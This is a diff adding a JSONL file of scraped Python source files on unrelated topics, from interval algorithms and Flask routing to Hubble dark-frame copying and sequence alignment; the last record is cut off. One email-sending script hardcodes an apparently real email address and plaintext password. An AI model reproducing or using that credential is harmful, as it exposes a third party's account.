diff --git "a/6373.jsonl" "b/6373.jsonl" new file mode 100644--- /dev/null +++ "b/6373.jsonl" @@ -0,0 +1,689 @@ +{"seq_id":"343255998","text":"from ImportsFile import *\n\ndecimalPoints = GlobalValues.decimalPoints\n\n\nclass Song:\n\n def __init__(self, path, songID):\n self.path = path\n self.songID = songID\n # a list of 2-item-tuples\n self.timeFrequencyPoints = []\n # list of lists of points.\n self.targetZones = []\n # key - anchor point, value - target zone\n self.anchorPointTargetZoneDict = {}\n # key - address, value - a list of couple associated with this address.\n self.addressCoupleDict = {}\n\n \"\"\"\n function name: initializeAll.\n input: N/A\n output: N/A\n operation: initializes the timeFrequencyPoints, targetZones, anchorPointTargetZoneDict, addressCoupleDict \n variables. \n \"\"\"\n\n def initializeAll(self):\n self.createConstellationMap()\n self.targetZones = createTargetZones(self.timeFrequencyPoints)\n self.anchorPointTargetZoneDict = createAnchorPoints(self.timeFrequencyPoints, self.targetZones)\n self.createAddresses()\n\n \"\"\"\n function name: createConstellationMap.\n input: N/A\n output: N/A\n operation: initializes the timeFrequencyPoints variable. it reads the wave file associated with the song \n instance and prepares the data for the fft. \n \"\"\"\n\n def createConstellationMap(self):\n\n try:\n sampleRate, data = wavefile.read(self.path)\n sampleRate, data = prepareForSpectrogram(sampleRate, data)\n self.timeFrequencyPoints = createFilteredSpectrogramPoints(data)\n except Exception as wavFileException:\n print(\"error in reading the wav file for path:\", self.path)\n raise wavFileException\n \"\"\"\n function name: createAddresses \n input: N/A \n output: N/A \n operation: initializes the addressAnchorTimeDict, \n for every point in a target zone, calculates the address according to the anchor point. rounds the number to 3 \n decimal points and saves the result as a String for storage in the database. \n \"\"\"\n\n def createAddresses(self):\n for anchorPoint, targetZone in self.anchorPointTargetZoneDict.items():\n couple = (round(anchorPoint[0], decimalPoints), self.songID)\n for p in targetZone:\n delta = p[0] - anchorPoint[0]\n tempAddress = str(int(anchorPoint[1])) + ',' + str(int(p[1])) + ',' + str(\n int(round(delta, decimalPoints) * 10))\n\n if tempAddress in self.addressCoupleDict:\n self.addressCoupleDict[tempAddress].append(couple)\n else:\n self.addressCoupleDict[tempAddress] = [couple]\n","sub_path":"DatabaseItems/Song.py","file_name":"Song.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"430909936","text":"from datetime import datetime\nfrom tzlocal import get_localzone\nfrom model.information import Information\n\nja = get_localzone()\n\nclass InformationRepository(object):\n\n def __init__(self, session):\n self._session = session\n\n def get(self):\n SQL = 'SELECT text FROM information WHERE id=1'\n rows = self._session.fetchall(SQL)\n\n for row in rows:\n return Information.from_json(row[0])\n\n return None\n\n def upsert(self, info):\n SQL = '''\nINSERT INTO information(id,text,created_at,updated_at)\nVALUES (1,?,?,?)\nON CONFLICT(id)\nDO UPDATE SET\ntext = excluded.text,\nupdated_at = excluded.updated_at\n'''\n json_data = info.to_json()\n self._session.execute(SQL, [json_data, datetime.now(ja).isoformat(), datetime.now(ja).isoformat()])\n","sub_path":"db/information_repository.py","file_name":"information_repository.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"361705984","text":"import bisect\n\n\nclass Interval:\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\n\nclass Solution:\n def employeeFreeTime(self, schedule):\n \"\"\"\n :type schedule: List[List[Interval]]\n :rtype: List[Interval]\n \"\"\"\n time = []\n free = []\n\n for sched in schedule:\n for interval in sched:\n start, end = interval.start, interval.end\n si = bisect.bisect_left(time, start)\n bi = bisect.bisect(time, end)\n if si > 0 and free[si-1]:\n start = time[si-1]\n si -= 1\n if bi < len(free) and not free[bi]:\n end = time[bi]\n time[si:bi] = [start, end]\n free[si:bi] = [True, False]\n\n ans = []\n for i in range(len(time)-1):\n if not free[i] and free[i+1]:\n ans.append([time[i], time[i+1]])\n\n return ans\n\n # using merge interval\n # sort the interval, and combine all intervals in a linear traversal\n # key idea:\n # if interval[i] doesn't overlap with interval[i-1],\n # then interval[i+1] cannot overlap with interval[i-1]\n def employeeFreeTime2(self, schedule):\n schedules = []\n for sched in schedule:\n for interval in sched:\n schedules.append((interval.start, interval.end))\n\n merged_interval = []\n for interval in sorted(schedules):\n try:\n top_interval = merged_interval[-1]\n except IndexError:\n merged_interval.append(interval)\n continue\n\n if top_interval[1] < interval[0]:\n # Non-overlapping => just append interval\n merged_interval.append(interval)\n elif top_interval[1] < interval[1]:\n # Overlapping, and current interval's end is larger => replace last interval\n merged_interval[-1] = top_interval[0], interval[1]\n\n free_interval = []\n for i1, i2 in zip(merged_interval, merged_interval[1:]):\n free_interval.append([i1[1], i2[0]])\n\n return free_interval\n\n\n\ndef I(lst):\n return Interval(lst[0], lst[1])\n\n\ndef test(schedule, exp):\n schedule = [[I(lst) for lst in sched] for sched in schedule]\n ans = Solution().employeeFreeTime(schedule)\n ans2 = Solution().employeeFreeTime2(schedule)\n print(ans == exp, exp, ans)\n print(ans2 == exp, exp, ans2)\n\n\nschedule = [[[1,2],[5,6]],[[1,3]],[[4,10]]]\nexp = [[3,4]]\ntest(schedule, exp)\n\nschedule = [[[1,3],[6,7]],[[2,4]],[[2,5],[9,12]]]\nexp = [[5,6],[7,9]]\ntest(schedule, exp)\n\nschedule = [[[7,24],[29,33],[45,57],[66,69],[94,99]],[[6,24],[43,49],[56,59],[61,75],[80,81]],[[5,16],[18,26],[33,36],[39,57],[65,74]],[[9,16],[27,35],[40,55],[68,71],[78,81]],[[0,25],[29,31],[40,47],[57,87],[91,94]]]\nexp = [[26,27],[36,39],[87,91]]\ntest(schedule, exp)\n\nschedule = [[[6,24], [5, 16], [18, 26]]]\nexp = []\ntest(schedule, exp)\n","sub_path":"759.Employee_Free_Time.py","file_name":"759.Employee_Free_Time.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"24596923","text":"import time\n\nfile_name=\"c\"\ni=-1\nk=5 #кол-во кадров\nsp=0.25 #скорость воспроизведения\nl_s=[] #массив кадров\nb=True\n\ndef create_c():\n global k\n global file_name\n for i in range(1,k+1):\n name = file_name + str(i) + \".txt\"\n file = open(name, \"r\")\n l = file.readlines()\n s=''\n for line in l:\n s+=line+'\\n'\n l_s.append(s)\n file.close()\n\ndef print_c(i):\n global l_s\n return l_s[i]\n\ndef wait():\n global sp\n time.sleep(sp)\ndef show():\n global i\n global k\n global b\n\n if i<=k:\n print()\n print(print_c(i-1))\n b=True\n\n else:\n i=0\n b=False\n\ndef gif():\n global b\n global i\n\n create_c()\n while True:\n i+=1\n show()\n if b:\n wait()\n\ngif()\n","sub_path":"Programs/GIFa/GIFa.py","file_name":"GIFa.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"439452671","text":"'''Write a program that prints the numbers from 1 to 100 inclusive.\nBut for multiples of three print \"Fizz\" instead of the number\nFor the multiples of five print \"Buzz\".\nFor numbers which are multiples of both three and five print \"FizzBuzz\"\ninstead.'''\n\n\ndef fizzbuzz():\n for x in range(1, 101):\n if x % 3 == 0 and x % 5 == 0:\n print('FizzBuzz')\n elif x % 3 == 0:\n print(\"Fizz\")\n elif x % 5 == 0:\n print(\"Buzz\")\n else:\n print(x)\n\n\n# bonus round\ndef custom_fizzbuzz(start, finish):\n '''Do fizzbuzz for any range you like!\n Including negatives!'''\n if start > finish:\n step = -1\n if finish < 0:\n finish_index = finish - 1\n else:\n finish_index = finish\n else:\n step = 1\n finish_index = finish + 1\n for x in range(start, finish_index, step):\n if x % 3 == 0 and x % 5 == 0:\n print('FizzBuzz')\n elif x % 3 == 0:\n print(\"Fizz\")\n elif x % 5 == 0:\n print(\"Buzz\")\n else:\n print(x)\n","sub_path":"students/cowhey/session02/fizzbuzz.py","file_name":"fizzbuzz.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"303640792","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# コマンド dev_appserver.py python27-flask/\n\nfrom google.appengine.api import urlfetch\nimport json\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\napp.debug = True\n\nnetworkJson = urlfetch.fetch(\"http://tokyo.fantasy-transit.appspot.com/net?format=json\").content # ウェブサイトから電車の線路情報をJSON形式でダウンロードする\nnetwork = json.loads(networkJson.decode('utf-8')) # JSONとしてパースする(stringからdictのlistに変換する)\n\n# ページから値を取得する\ndef getstation(stationas):\n return request.args.get(stationas)\n\n# 隣接リスト辞書型で生成\ndef makemap(network):\n trainmap={}\n for i in network:\n forwardstation = None\n for j in i[\"Stations\"]:\n if forwardstation != None:\n if j not in trainmap:\n trainmap[j]={}\n trainmap[j][forwardstation] = i[\"Name\"]+\"UP\"\n if forwardstation not in trainmap:\n trainmap[forwardstation] = {}\n trainmap[forwardstation][j] = i[\"Name\"]+\"DOWN\"\n forwardstation = j\n \n return trainmap\n\n# 幅優先探索で得たデータを元に経路データを得る\ndef makepath(listpaths,paths,map):\n path = {}\n path[\"GOAL\"] = \"GOAL\"\n station = listpaths.pop(\"GOAL\")\n nextstation = station\n stationlist = [station]\n while(1):\n station = listpaths.pop(station)\n path[nextstation] = paths[nextstation][station]\n nextstation = station\n if station == \"START\":\n break\n stationlist.append(station)\n stationlist.reverse()\n return path, stationlist\n\n# 幅優先探索で経路データを取得\n# 得られるデータは出発地点・到着地点・使った路線をまとめた辞書型(queue)と出発地点と到着地点をまとめた辞書型(listque)を返す\ndef BFSsearchpath(start ,goal, trainmap):\n # quelistの中身は [渋谷]、[原宿、恵比寿]、...\n quelist = [start] \n \n # queueの中身は、'学芸大学': {'祐天寺': '東横線UP'} 東横線UPを使って祐天寺から学芸大学にいけるという意味\n queue = {}\n listque = {}\n queue[start] = {}\n queue[start][\"START\"]=\"START\" \n listque[start]=\"START\"\n\n # checkedのなかみは、 [渋谷、原宿...]\n # すでに処理した駅の一覧\n checked = set()\n while(1):\n a = quelist.pop(0)\n checked.add(a)\n if a == goal:\n queue[\"GOAL\"] = {}\n queue[\"GOAL\"][a]=\"GOAL\" \n listque[\"GOAL\"] = a\n break\n for i in trainmap[a]:\n if i not in checked:\n queue[i]= {}\n queue[i][a] = trainmap[a][i]\n listque[i] = a\n quelist.append(i)\n return listque, queue\n\n# 出発駅・到着駅・路線データを受け取って経路を返す関数\ndef searchline(start, goal ,linemap):\n listque, que = BFSsearchpath(start, goal , linemap) # 幅優先で経路データを取得する\n path = makepath(listque, que, linemap) # 取得したデータから到着駅から遡って経路を取得する\n return path\n\n@app.route('/')\n# / のリクエスト(例えば http://localhost:8080/ )をこの関数で処理する。\n# ここでメニューを表示をしているだけです。\ndef root():\n return render_template('hello.html')\n\n@app.route('/pata')\n# /pata のリクエスト(例えば http://localhost:8080/pata )をこの関数で処理する。\n# これをパタトクカシーーを処理するようにしています。\ndef pata():\n # とりあえずAとBをつなぐだけで返事を作っていますけど、パタタコカシーーになるように自分で直してください!\n A = request.args.get('a', '')\n B = request.args.get('b', '')\n patalist = []\n if len(A) mid:\n\t\t\t\ta[k] = aux[j]\n\t\t\t\tj += 1\n\t\t\telif j > hi:\n\t\t\t\ta[k] = aux[i]\n\t\t\t\ti += 1\n\t\t\telif aux[j] < aux[i]:\n\t\t\t\ta[k] = aux[j]\n\t\t\t\tj += 1\n\t\t\telse:\n\t\t\t\ta[k] = aux[i]\n\t\t\t\ti += 1\n\t\t\tstep(a)\n\n\tN = len(data)\n\t\n\tsz = 1\n\twhile sz < N:\n\t\tlo = 0\n\t\twhile lo < N - sz:\n\t\t\tmerge(data,lo,lo+sz-1, min(lo+sz+sz-1, N-1))\n\t\t\tlo += sz+sz\n\t\tsz = sz+sz\n\n\n\treturn data","sub_path":"Week 4 - Elementary Sorts/bottomupmergesort.py","file_name":"bottomupmergesort.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"240900356","text":"# -*- coding:utf-8 -*-\n# @Time :2020-03-10 15:49\n# @Email :876417305@qq.com\n# @Author :yanxia\n# @File :email_colose.PY\nimport ssl\nfrom smtplib import SMTP,SMTP_SSL\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.application import MIMEApplication\n#配置各种邮件服务器\nemailname=\"yanxia_626@163.com\"\nemailpwd=\"gdd610626wyx\"\nemail_severs={\"163.com\":{\"smtp\":{\"host\":\"smtp.163.com\",\"port\":25,\"ssl_port\":465}},}\n#创建ssl context用于加密\ncontext=ssl.create_default_context()\ndef parse_mail(mailname):\n \"\"\"解析邮件名 返回对应的邮件服务商\"\"\"\n server_name=mailname.split(\"@\")\n if len(server_name)==1:\n raise TypeError(\"email format error\")\n server_name=server_name[-1]\n if server_name not in list(email_severs.keys()):\n raise NameError(\"no this emial server\")\n sever=email_severs.get(server_name,\"\")\n return sever\n\nclass HttpEmail(SMTP):\n def __init__(self,mailname,pwd):\n self.mailname=mailname\n self.login(mailname,pwd)\n def mail_msg(self,msg,type=\"html\",subject=\"\"):\n \"\"\"组装邮件正文\"\"\"\n msg=MIMEText(msg,type)\n msg[\"Subject\"]=\"自动化的报告\"\n return msg\n def send_email(self,to,msg,files=None,type=\"plain\",subject=\"\"):\n \"\"\"\n 发送邮件的主函数\n :param to: 发送给谁\n :param msg: 原始邮件数据\n :param files: 发送的附件文件路径\n :param type: 格式类型\n :param subject: 标题\n \"\"\"\n total=MIMEMultipart()\n total[\"Subject\"]=subject\n\n body=self.mail_msg(msg,type=type,subject=subject)\n total.attach(body)\n\n if files and isinstance(files,list):\n for fiename in files:\n file=MIMEApplication(open(fiename,\"rb\").read())\n file.add_header(\"Content-Disposition\",\"attachment\",fiename=fiename)\n #附件添加到总的里面\n total.attach(file)\n\n return self.send_email(self.mailname,to,total.as_string())\n\nclass MyEmailSSL(SMTP_SSL,HttpEmail):\n \"\"\"SSL发送邮件\"\"\"\n def __init__(self,mail_name,pwd):\n self.mailname=mail_name\n server=parse_mail(mail_name).get(\"smtp\",\"\")\n super().__init__(server.get(\"host\"),server.get(\"ssl_port\"))\n super().login(mail_name,pwd)\n\nif __name__ == '__main__':\n msg=\"\"\"\n 春暖花开的时候,\n 希望一切都会好起来\n 我想这是最好的结果\n \"\"\"\n with HttpEmail(emailname,emailpwd) as mail:\n mail.send_email(\"yanxia_626@163.com\",msg[\"demo.txt\"],subject=\"告诉你一件好事儿\")\n\n\n\n\n","sub_path":"class_0307/Sd_youjian.py","file_name":"Sd_youjian.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"24644812","text":"\"\"\"Copies UVIS darks observed within a given time range to the\nappropriate ``/`` directory.\n\nUVIS darks are copied from the ``ctecorr_dir`` directory in the\n``paths `` dict. Only files that meet the criteria of\n``TARGNAME = {'DARK' || 'DARK-NM'}``, ``EXPTIME = {'900' || '1800'}``,\nand ``FLASHLVL = 12`` are copied. Files are copied to\n``/grp/hst/wfc3k/uvis_darks//``, where ``outdir``\nis the main directory as determined by the ``-d --outdir`` argument.\nAny files listed in ``/grp/hst/wfc3k/uvis_darks/exclude.list``, which\nis a list of anomalous UVIS dark files, are ignored and are not copied.\n\nAuthors\n-------\n\n - Matthew Bourque, 2013\n - John Biretta, 2012\n\nUse\n---\n\n This module is intended to be called by ``cal_uvis_make_darks.py``\n as part of the UVIS dark reference file creation pipeline.\n\n\nNotes\n-----\n\n The absolute paths to any new UVIS dark programs in the Quicklook\n filesystem should be added to the ``dark_roots`` list as they come\n in. This occurs at the beginning of new calibration proposal\n cycles.\n\"\"\"\n\nimport datetime\nimport glob\nimport logging\nimport multiprocessing\nimport os\nimport shutil\n\nfrom astropy.io import fits\n\n\ndef copy_file(file_to_copy):\n \"\"\"Copy the given file.\n\n Parameters\n ----------\n file_to_copy : tuple\n The 0th element of the tuple is the source, and the 1st\n element is the destination.\n \"\"\"\n\n src = file_to_copy[0]\n dst = file_to_copy[1]\n\n shutil.copyfile(src, dst)\n\n\ndef pick_files(anneal_date, endtime, file_path, postflash, paths):\n \"\"\"Copies a file from ``file_path`` to the appropriate\n ``/`` directory if the file meets the header value\n criteria of ``TARGNAME`` = ``DARK`` or ``DARK-NM``, ``EXPTIME``\n = ``900`` or ``1800``, and ``FLASHLVL`` = ``12`` (if processing\n postflashed data).\n\n Parameters\n ----------\n anneal_date : str\n The lower-limit of the ``DATE-OBS`` / ``TIME-OBS`` to be used\n as the starting point for data to copy, in the format\n ``YYYYMMDD-HH:MM:SS``\n endtime : str\n The upper-limit of the`` DATE-OBS`` / ``TIME-OBS`` to be used\n as the ending point for data to copy, in the format.\n ``YYYYMMDD-HH:MM:SS``\n file_path : str\n The absolute path of the potential UVIS dark file to copy.\n postflash : bool\n ``True`` if postflash processing is turned on, ``False`` if\n postflash processing is turned off. Used to determine which\n files to copy.\n paths : dict\n The dictionary containing the absolute paths of directories\n used throughout the the pipeline.\n\n Notes\n -----\n If ``_rac.fits`` files are copied, they are renamed to\n ``_raw.fits`` for simplicity purposes.\n \"\"\"\n\n # Open file and get header information\n hdulist = fits.open(file_path, mode='readonly')\n dateobs = hdulist[0].header['DATE-OBS']\n timeobs = hdulist[0].header['TIME-OBS']\n targname = hdulist[0].header['TARGNAME']\n exptime = hdulist[0].header['EXPTIME']\n try:\n flashlvl = hdulist[0].header['FLASHLVL']\n except:\n flashlvl = 0\n try:\n shutrpos = hdulist[0].header['SHUTRPOS']\n except:\n shutrpos = 'NA'\n hdulist.close()\n\n # Convert dateobs and timeobs to datetime objects\n dateobs = datetime.datetime.strptime(dateobs, '%Y-%m-%d')\n timeobs = datetime.datetime.strptime(timeobs, '%H:%M:%S')\n obs = datetime.datetime.combine(dateobs.date(), timeobs.timetz())\n\n # Determine which FLASHLVL is appropriate\n if postflash:\n flashlvl_to_use = 12\n else:\n flashlvl_to_use = 0\n\n # Find the appropriate files to copy\n if obs > anneal_date and obs < endtime and 'DARK' in targname and \\\n exptime in [900, 1800] and flashlvl == flashlvl_to_use:\n\n print('\\t\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}'.format(\n file_path,\n str(obs),\n targname,\n str(exptime),\n str(flashlvl),\n shutrpos))\n\n rootname = os.path.basename(file_path).split('_')[0]\n basename = '{}_raw.fits'.format(rootname)\n\n if not postflash:\n dst = os.path.join(paths['preproc'], basename)\n return (file_path, dst)\n else:\n if shutrpos == 'A':\n dst = os.path.join(paths['shutterA'], basename)\n return (file_path, dst)\n elif shutrpos == 'B':\n dst = os.path.join(paths['shutterB'], basename)\n return (file_path, dst)\n\n return None\n\n\ndef copy_darks_main(anneal_date, endtime, ctecorr, postflash, paths):\n \"\"\"The main function of the ``copy_darks`` module.\n\n Creates the ``/`` directories, if they do not already\n exist, iterates over the files in the root path, and copies\n appropriate files.\n\n Parameters\n ----------\n anneal_date : str\n The lower-limit of the ``DATE-OBS`` / ``TIME-OBS`` to be used\n as the starting point for data to copy, in the format\n ``YYYYMMDD-HH:MM:SS``.\n endtime : str\n The upper-limit of the ``DATE-OBS`` / ``TIME-OBS`` to be used\n as the ending point for data to copy, in the format\n ``YYYYMMDD-HH:MM:SS``.\n ctecorr : bool\n ``True`` (if CTE-correction is turned on) or ``False`` (if\n CTE-correction is turned off). Used to determine which root\n path to use when copying files.\n postflash : bool\n ``True`` if postflash processing is turned on, ``False`` if\n postflash processing is turned off. Used to determine\n which files to copy.\n paths : dict\n The dictionary containing the absolute paths of directories\n used throughout the the pipeline.\n \"\"\"\n\n print('')\n print('')\n print('')\n print('---------- Retrieving Data ----------')\n print('')\n\n # Create output directories if they do not exist\n if postflash:\n outdir_list = [paths['main'], paths['shutterA'], paths['shutterB']]\n else:\n outdir_list = [paths['main'], paths['preproc']]\n for outdir in outdir_list:\n if os.path.exists(outdir) == False:\n\n # LP added, check that directory actually exists, make the parent\n if not os.path.exists(os.path.dirname(outdir)): \n os.makedirs(os.path.dirname(outdir), 0o774)\n print('\\tLP log: Created driectory {}'.format(os.path.dirname(outdir)))\n\n os.mkdir(outdir, 0o774)\n print('\\tCreated Directory {}'.format(outdir))\n\n if ctecorr == True:\n filetype = 'rac.fits'\n else:\n filetype = 'raw.fits'\n\n # Get list of files to exclude\n with open(paths['exclude_list'], 'r') as f:\n exclude_list = f.readlines()\n exclude_list = [item.strip() for item in exclude_list]\n\n # Walk through dark root and pick appropriate files to copy\n print('')\n print('\\tScanning {} for data:'.format(paths['ctecorr_dir']))\n print('')\n\n files_to_copy = []\n files_to_check = glob.glob(os.path.join(paths['ctecorr_dir'], '*_{}'.format(filetype)))\n for file_path in files_to_check:\n if os.path.basename(file_path) not in exclude_list:\n file_to_copy = pick_files(anneal_date, endtime, file_path, postflash, paths)\n if file_to_copy is not None:\n files_to_copy.append(file_to_copy)\n\n # Copy the files\n print('')\n print('\\tCopying the files')\n # LP halved the number of processes from 30 to 15 due to processign capacity\n pool = multiprocessing.Pool(processes=15) \n pool.map(copy_file, files_to_copy)\n pool.close()\n pool.join()\n","sub_path":"darks_codes/lp_darks/cal_uvis_make_darks/copy_darks.py","file_name":"copy_darks.py","file_ext":"py","file_size_in_byte":7613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"642993369","text":"import math\nimport random\n\ndef Min(sequence):\n \"\"\"\n Args:\n sequence (list(tuples)): A list of tuples where the first item of a tuple is the value of the item\n and second item is the case identifier\n \n Returns:\n list(tuple): A list of tuples with minimum value and the corresponding case identifier\n \"\"\"\n min_value = min(sequence, key=lambda x: x[0])[0]\n return [t for t in sequence if t[0] == min_value]\n\n\ndef Max(sequence):\n \"\"\"\n Args:\n sequence (list(tuples)): A list of tuples where the first item of a tuple is the value of the item\n and second item is the case identifier\n \n Returns:\n tuple: A list of tuples with maximum value and the corresponding case identifier\n \"\"\"\n max_value = max(sequence, key=lambda x: x[0])[0]\n return [t for t in sequence if t[0] == max_value]\n\n\ndef compute_traceback(start, complete_traceback=False, randomize=False):\n \"\"\"Compute the alignment(s) generated by tracing back in the dp matrix\n\n Args:\n start (cell): the cell from where to start dfs\n complete_traceback (boolean): Indicates if all optimal alignments should get returned\n or just one\n \n Return:\n list(list(Cell)) : A list containing all paths of integers which yield an optimal alignment\n The first element is the bottom right case.\n The last element is the 1 1 case.\n \"\"\"\n tracebacks = compute_traceback_dfs(start, [], complete_traceback)\n return tracebacks\n\n\ndef compute_traceback_dfs(current_cell, current_path=[], complete_traceback=False, randomize=False):\n \"\"\"Recursively creates the list of all tracebacks.\n\n Initial call: Bottom right cell in the dynamic programming matrix\n\n Args:\n current_cell (Cell) : The cell where we are currently in the traceback\n current_path (list(int)) : List of cases that are on the traceback path\n first element is case in bottom right cell\n last element is the previous cases\n \"\"\"\n # base case: leaf\n if not current_cell.pre:\n return [current_path]\n # recursive case: inner node\n tracebacks = []\n if complete_traceback:\n for pre in current_cell.pre:\n # current_path.append(pre)\n # Note: current_path + [pre] instead of append because he have to copy the path\n tracebacks.extend(compute_traceback_dfs(pre[0], current_path + [pre], complete_traceback, randomize))\n else:\n if randomize:\n pre = current_cell.pre[random.randint(0, len(current_cell.pre) - 1)]\n tracebacks.extend(compute_traceback_dfs(pre[0], current_path + [pre], complete_traceback, randomize))\n else:\n pre = current_cell.pre[0]\n tracebacks.extend(compute_traceback_dfs(pre[0], current_path + [pre], complete_traceback, randomize))\n return tracebacks\n\n\ndef similarity_to_distance(nw, pairwise_alignment, scoring_matrix):\n seq1 = pairwise_alignment[0].replace(\"_\", \"\")\n seq2 = pairwise_alignment[1].replace(\"_\", \"\")\n\n S_ab, _ = nw.compute_optimal_alignments(seq1, seq2, scoring_matrix, complete_traceback=False)\n\n S_aa, _ = nw.compute_optimal_alignments(seq1, seq1, scoring_matrix, complete_traceback=False)\n\n S_bb, _ = nw.compute_optimal_alignments(seq2, seq2, scoring_matrix, complete_traceback=False)\n\n S_ab_max = (S_aa + S_bb) / 2\n\n seq1_shuffled = ''.join(random.sample(seq1,len(seq1)))\n seq2_shuffled = ''.join(random.sample(seq2,len(seq2)))\n\n S_rand, _ = nw.compute_optimal_alignments(seq1_shuffled, seq2_shuffled, scoring_matrix, complete_traceback=False)\n\n S_eff = (S_ab - S_rand) / (S_ab_max - S_rand)\n\n return - math.log(S_eff)\n\n\n\ndef similarity_to_distance_ext(nw, pairwise_alignment, scoring_matrix):\n \"\"\"Converts similarity score from a pairwise alignment to a distance score\n using approximation algorithm\n \n D(a,b) = - log(S_{a,b}^{eff})\n\n S_{a,b}^{eff} = (S(a,b) - S_{rand}) / (S_{a,b}^{max} - S_{rand})\n\n S_{rand} = (1/|A|) * (sum_{x,y in Sigma x Sigma} S(x,y) * N_a(x) * N_b(y)) + gaps(A) * S(-,*)\n\n S_{a,b}^{max} = (S(a,a) + S(b,b)) / 2\n \"\"\"\n seq1 = pairwise_alignment[0].replace(\"_\", \"\")\n seq2 = pairwise_alignment[1].replace(\"_\", \"\")\n\n S_ab, _ = nw.compute_optimal_alignments(seq1, seq2, scoring_matrix, complete_traceback=False)\n\n S_aa, _ = nw.compute_optimal_alignments(seq1, seq1, scoring_matrix, complete_traceback=False)\n\n S_bb, _ = nw.compute_optimal_alignments(seq2, seq2, scoring_matrix, complete_traceback=False)\n\n S_ab_max = (S_aa + S_bb) / 2\n\n S_rand = (1 / len(pairwise_alignment[0])) * \\\n sum([scoring_matrix.score(scoring_matrix.alphabet[i], scoring_matrix.alphabet[j]) * count_occurences_symbol_in_seq(seq1, scoring_matrix.alphabet[i]) * count_occurences_symbol_in_seq(seq2, scoring_matrix.alphabet[j]) for i in range(len(scoring_matrix.alphabet)) for j in range(len(scoring_matrix.alphabet))]) + count_gaps_in_pairwise_alignment(pairwise_alignment) * scoring_matrix.cost_gap_open\n\n S_eff = (S_ab - S_rand) / (S_ab_max - S_rand)\n\n #print(pairwise_alignment)\n #print(\"S_ab %5.2f\" % S_ab)\n #print(\"S_ab_max %5.2f\" % S_ab_max)\n #print(\"S_rand %5.2f\" % S_rand)\n #print(\"S_eff %5.2f\" %S_eff)\n\n return - math.log(S_eff)\n\n\ndef count_occurences_symbol_in_seq(seq, symbol):\n \"\"\"Counts the number of occurences of symbol in seq\n\n Args:\n seq (str): A sequence\n symbol (char): A character\n \"\"\"\n count = 0\n for x in seq:\n if x == symbol:\n count += 1\n return count\n\n\ndef count_gaps_in_pairwise_alignment(pairwise_alignment):\n \"\"\"Counts the number of gaps in the given pairwise alignment. Since Feng-Dootlittle\n exchanges gaps with special character \"X\" we also need to take care about this special\n character\n\n Args:\n pairwise_alignment (list(str)): A 2 element list containing a gapped sequences.\n Therefore the lengths are equal\n \n \"\"\"\n count = 0\n for i in range(len(pairwise_alignment[0])):\n if pairwise_alignment[0][i] in [\"_\", \"X\"] or pairwise_alignment[1][i] in [\"_\", \"X\"]:\n count += 1\n return count\n","sub_path":"prakt/util/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":6367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"456019638","text":"#декоратор будет вызываться каждый раз, когда мы создаем экземпляр класса Point и будет добавлять экземпляр в коллекцию collection\ndef decore(instance):\n\tdef wrap(*args):\n\t\tglobal collection\n\t\tcollection.append(instance(*args))\n\t\treturn instance(*args)\t\n\treturn wrap\n\n#наша коллекция, которая будет пополняться при каждом создании экземпляра\t\ncollection = []\n\n#наш класс, определяющий точку в пространстве с тремя координатами\n@decore\nclass Point:\n\tdef __init__(self, x, y, z):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.z = z\n\tdef counter(self, predicate): #метод, позволяющий подсчитать количество элементов в коллекции, которые удовлетворяют предикату\n\t\tcount = 0\n\t\tfor i in collection:\n\t\t\tif (eval(predicate)):\n\t\t\t\tcount += 1\n\t\treturn count\n\n#плодим экземпляры класса\na = Point(1, 2, 3)\nb = Point(4, 5, 6)\nc = Point(7, 8, 9)\nd = Point(10, 11, 12)\n\n#вызываем наш метод с предикатом\nc = a.counter(\"i.x == 7 and i.z == 9\")\nprint(c)\ninput()","sub_path":"task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"87268316","text":"'''\nCreated on Jun 25, 2014\n@author: HSH\n'''\n\nf = open('/Users/HSH/Roche/Data/all14.txt')\nf.readline()\n\ncancer_type = set([])\nmap(lambda x: cancer_type.add(x.split('\\t')[0]),f.readlines())\ncancer_type = [c for c in cancer_type]\nf.close()\n\nf = open('/Users/HSH/Roche/Data/all14.txt')\nf.readline()\ndata = {}\n\nfor line in f.readlines():\n line_split = line.split('\\t')\n numStudy = line_split[34]\n if not numStudy:\n continue\n cancer = line_split[0]\n gene5p = line_split[2]\n gene3p = line_split[3]\n fusion = gene5p+'/'+gene3p\n if fusion not in data:\n data[fusion] = {}\n for c in cancer_type:\n data[fusion][c] = '0'\n data[fusion][cancer] = line_split[6]\n\nofile = open('/Users/HSH/Roche/20140625/data_1_all_documented_fusion','w')\nheader = ''+'\\t'+'\\t'.join(cancer_type)\nofile.write(header+'\\n')\n\nfor d in data:\n line_out = '\\t'.join([d]+[data[d][c] for c in cancer_type])\n 